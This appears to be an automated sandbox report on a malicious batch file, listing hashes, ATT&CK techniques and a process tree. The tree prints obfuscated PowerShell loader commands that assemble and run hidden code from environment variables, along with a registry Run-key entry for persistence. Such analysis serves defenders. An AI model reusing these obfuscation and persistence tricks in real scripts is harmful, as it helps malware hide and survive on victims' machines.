e3a72af76588f159a291eff6f582a9633cd4b3b471c7b60a9ce69157b54736d0

Analysis

max time kernel
149s
max time network
140s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260911-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
24/10/2026, 05:53

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General

Target
client.bat
Size 3.1MB
Sample261024-glc9msf16v
SHA256 e3a72af76588f159a291eff6f582a9633cd4b3b471c7b60a9ce69157b54736d0
MD5 6d3da7609345637d0e93d366390bff97
SHA1 27e403b03d8b2e616910f5a6f4ac601f9522dcd6
SHA512 f15a995cd7d59e57117ca7599e488267f153b650fc4fa0798aec9206b8aba01653ab82e53b922aade71d470deb1ef417fbced2d86d740f0664e29f0f43f0ee56
SSDEEP 49152:R8oqEQLifspBlWE2qzFXpdMEso8mBEr+xR+Tn:D
TLSH
T1EDE513158529693A86A820B82CFE0E16AF8C4F8450749FDB81F47CD6778FF5211FF698
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

execution persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3202520547-175870679-441661622-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bpGcNEDmcn = "cmd.exe /c \"C:\\Users\\Admin\\AppData\\Roaming\\rgQnHh\\rgQnHh.bat\""	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1688	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2784	cmd.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1688	powershell.exe
1688	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	4472	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2784 wrote to memory of 1688	2784	cmd.exe	83
PID 1688 wrote to memory of 4472	1688	powershell.exe	84

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\client.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -Command "$wH=$env:QGr0+$env:QGr1+$env:QGr2+$env:QGr3+$env:QGr4+$env:QGr5+$env:QGr6+$env:QGr7+$env:QGr8+$env:QGr9+$env:QGr10;$env:ACfwBuSPbD=$wH;$dF='i'+'xe';$wH|&($dF[0]+$dF[2]+$dF[1])"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -C "$z=$env:ACfwBuSPbD;$rgs='e'+'x'+'i';& ($rgs[2]+$rgs[0]+$rgs[1]) $z"
    3⤵
    - Adds Run key to start application
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4472

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
MD5 ed30ca9187bf5593affb3dc9276309a6
SHA1 c63757897a6c43a44102b221fe8dc36355e99359
SHA512 1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810
TLSH
T1C051DA313275A1E4C91A3F47192819C023BF8355FA98AF5CB65C521EE92740B9B222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c6ab175ba951fe3f4615b78783a99b5b05577ce68dda7074fc10cc37f8e15dd2
MD5 f0ed61fdf4d3914c578f366fbc107767
SHA1 b0c9cda19b23e6e26757b0ea7df8ae270f851cb0
SHA512 d9037b547304079795a8b59e812b16f5db5d0ce420580174c7f9c8ec59537363afae5cd240d784544eb05f2175fc8d633404e22dfe1949b8712e8918d40037b3
TLSH
T12E113423B79DC961CC85453B509D9DA175B2D7C781AEDE9B7EC4C208A07F588DB211A0
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_mixxqgm2.5qz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mixxqgm2.5qz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1688-0-0x00007FF8BD000000-0x00007FF8BD022000-memory.dmp

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memory/1688-8-0x000001D6C29E0000-0x000001D6C2A02000-memory.dmp

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memory/4472-12-0x00007FF8BD000000-0x00007FF8BD022000-memory.dmp

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memory/4472-21-0x000002A345CA0000-0x000002A345D56000-memory.dmp

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